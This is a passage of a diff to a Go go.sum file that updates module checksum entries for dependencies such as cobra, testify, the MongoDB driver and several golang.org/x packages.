github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
|
||||
github.com/shivamMg/ppds v0.0.1 h1:idK2dpaen652zOO+OmcwmyoPNncBNqfHjF/14eS5JIk=
|
||||
github.com/shivamMg/ppds v0.0.1/go.mod h1:hb39VqUO6qfkb9zBBQPTIV1vWBtI7yQsG0wr3pN78fM=
|
||||
github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ=
|
||||
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
|
||||
github.com/spf13/afero v1.9.5 h1:stMpOSZFs//0Lv29HduCmli3GUfpFoF3Y1Q/aXj/wVM=
|
||||
github.com/spf13/afero v1.9.5/go.mod h1:UBogFpq8E9Hx+xc5CNTTEpTnuHVmXDwZcZcE1eb/UhQ=
|
||||
github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I=
|
||||
github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0=
|
||||
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
|
||||
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
|
||||
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk=
|
||||
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
|
||||
github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8=
|
||||
github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
|
||||
github.com/tidwall/pretty v1.0.0 h1:HsD+QiTn7sK6flMKIvNmpqz1qrpP3Ps6jOKIKMooyg4=
|
||||
github.com/tidwall/pretty v1.0.0/go.mod h1:XNkn88O1ChpSDQmQeStsy+sBenx6DDtFZJxhVysOjyk=
|
||||
github.com/xdg-go/pbkdf2 v1.0.0/go.mod h1:jrpuAogTd400dnrH08LKmI/xc1MbPOebTwRqcT5RDeI=
|
||||
@@ -350,15 +433,18 @@ github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9de
|
||||
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
go.mongodb.org/mongo-driver v1.10.0/go.mod h1:wsihk0Kdgv8Kqu1Anit4sfK+22vSFbUrAVEYRhCXrA8=
|
||||
go.mongodb.org/mongo-driver v1.11.0 h1:FZKhBSTydeuffHj9CBjXlR8vQLee1cQyTWYPA6/tqiE=
|
||||
go.mongodb.org/mongo-driver v1.11.0/go.mod h1:s7p5vEtfbeR1gYi6pnj3c3/urpbLv2T5Sfd6Rp2HBB8=
|
||||
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||
go.mongodb.org/mongo-driver v1.11.7 h1:LIwYxASDLGUg/8wOhgOOZhX8tQa/9tgZPgzZoVqJvcs=
|
||||
go.mongodb.org/mongo-driver v1.11.7/go.mod h1:G9TgswdsWjX4tmDA5zfs2+6AEPpYJwqblyjsfuh8oXY=
|
||||
go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU=
|
||||
go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8=
|
||||
go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
|
||||
go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
|
||||
go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
|
||||
go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk=
|
||||
go.opencensus.io v0.24.0 h1:y73uSU6J157QMP2kn2r30vwW1A2W2WFwSCGnAVxeaD0=
|
||||
go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo=
|
||||
go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
@@ -366,12 +452,13 @@ golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8U
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
|
||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.0.0-20220314234659-1baeb1ce4c0b/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.3.0 h1:a06MkbcxBrEFc0w0QIZWXrH/9cCX6KJyWbBOIwAn+7A=
|
||||
golang.org/x/crypto v0.3.0/go.mod h1:hebNnKkNXi2UzZN1eVRvBB7co0a+JxK6XbPiWVs/3J4=
|
||||
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
|
||||
golang.org/x/crypto v0.9.0 h1:LF6fAI+IutBocDJ2OT0Q1g8plpYljMZ4+lty+dsqw3g=
|
||||
golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=
|
||||
@@ -405,6 +492,9 @@ golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||
golang.org/x/mod v0.10.0 h1:lFO9qtOdlre5W1jxS3r/4szv2/6iXxScdzjoBMXNhYk=
|
||||
golang.org/x/mod v0.10.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
@@ -433,10 +523,15 @@ golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81R
|
||||
golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
|
||||
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
|
||||
golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
|
||||
golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
|
||||
golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||
golang.org/x/net v0.10.0 h1:X2//UzNDwYmtCLn7To6G58Wr6f5ahEAQgKNzv9Y951M=
|
||||
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
|
||||
golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
|
||||
@@ -446,6 +541,8 @@ golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ
|
||||
golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
|
||||
golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
|
||||
golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
|
||||
golang.org/x/oauth2 v0.8.0 h1:6dkIjl3j3LtZ/O3sTgZTMsLKSftL/B8Zgq4huOIIUu8=
|
||||
golang.org/x/oauth2 v0.8.0/go.mod h1:yr7u4HXZRm1R1kBWqr/xKNqewf0plRYoB7sla+BCIXE=
|
||||
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
@@ -457,6 +554,8 @@ golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJ
|
||||
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.2.0 h1:PUR+T4wwASmuSTYdKjYHI5TD22Wy5ogLU5qZCOLxBrI=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -470,7 +569,6 @@ golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -493,14 +591,20 @@ golang.org/x/sys v0.0.0-20210225134936-a50acf3fe073/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423185535-09eb48e85fd7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210616045830-e2b7044e8c71/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.2.0 h1:ljd4t30dBnAvMZaQCevtY0xLLD0A+bRZXbgLMLU1F/A=
|
||||
golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.8.0 h1:EBmGv8NaZBZTWvrbjNoL6HVt+IVy3QDQpJs7VRIw3tU=
|
||||
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.2.0 h1:z85xZCsEl7bi/KwbNADeBYoOP0++7W1ipu+aGnpwzRM=
|
||||
golang.org/x/term v0.2.0/go.mod h1:TVmDHMZPmdnySmBfhjOoOdhjzdE1h4u1VwSiw2l1Nuc=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
|
||||
golang.org/x/term v0.8.0 h1:n5xxQn2i3PC0yLAbjTpNT85q/Kgzcr2gIoX9OrJUols=
|
||||
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
|
||||
golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
@@ -509,8 +613,10 @@ golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.4.0 h1:BrVqGRd7+k1DiOgtnFvAkoQEWQvBc25ouMJM6429SFg=
|
||||
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ=
|
||||
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.9.0 h1:2sjJmO8cDvYveuX97RDLsxlyUxLl+GHoLxBiRdHllBE=
|
||||
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
|
||||
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
@@ -561,10 +667,15 @@ golang.org/x/tools v0.0.0-20201208233053-a543418bbed2/go.mod h1:emZCQorbCU4vsT4f
|
||||
golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.0.0-20210108195828-e2f9c7f1fc8e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
|
||||
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||
golang.org/x/tools v0.9.1 h1:8WMNJAz3zrtPmnYC7ISf5dEn3MT0gY7jBJfw27yrrLo=
|
||||
golang.org/x/tools v0.9.1/go.mod h1:owI94Op576fPu3cIGQeHs3joujW/2Oc6MtlxbF5dfNc=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20220907171357-04be3eba64a2 h1:H2TDz8ibqkAF6YGhCdN3jS9O0/s90v0rJh3X/OLHEUk=
|
||||
golang.org/x/xerrors v0.0.0-20220907171357-04be3eba64a2/go.mod h1:K8+ghG5WaK9qNqU5K3HdILfMLy1f3aNYFI/wnl100a8=
|
||||
google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=
|
||||
google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M=
|
||||
google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
|
||||
@@ -584,12 +695,15 @@ google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz513
|
||||
google.golang.org/api v0.35.0/go.mod h1:/XrVsuzM0rZmrsbjJutiuftIzeuTQcEeaYcSk/mQ1dg=
|
||||
google.golang.org/api v0.36.0/go.mod h1:+z5ficQTmoYpPn8LCUNVpK5I7hwkpjbcgqA7I34qYtE=
|
||||
google.golang.org/api v0.40.0/go.mod h1:fYKFpnQN0DsDSKRVRcQSDQNtqWPfM9i+zNPxepjRCQ8=
|
||||
google.golang.org/api v0.127.0 h1:v7rj0vA0imM3Ou81k1eyFxQNScLzn71EyGnJDr+V/XI=
|
||||
google.golang.org/api v0.127.0/go.mod h1:Y611qgqaE92On/7g65MQgxYul3c0rEB894kniWLY750=
|
||||
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
|
||||
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
|
||||
google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
|
||||
google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
|
||||
google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
|
||||
google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
|
||||
google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c=
|
||||
google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
|
||||
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
|
||||
google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
|
||||
@@ -614,6 +728,7 @@ google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfG
|
||||
google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
|
||||
google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
|
||||
google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
|
||||
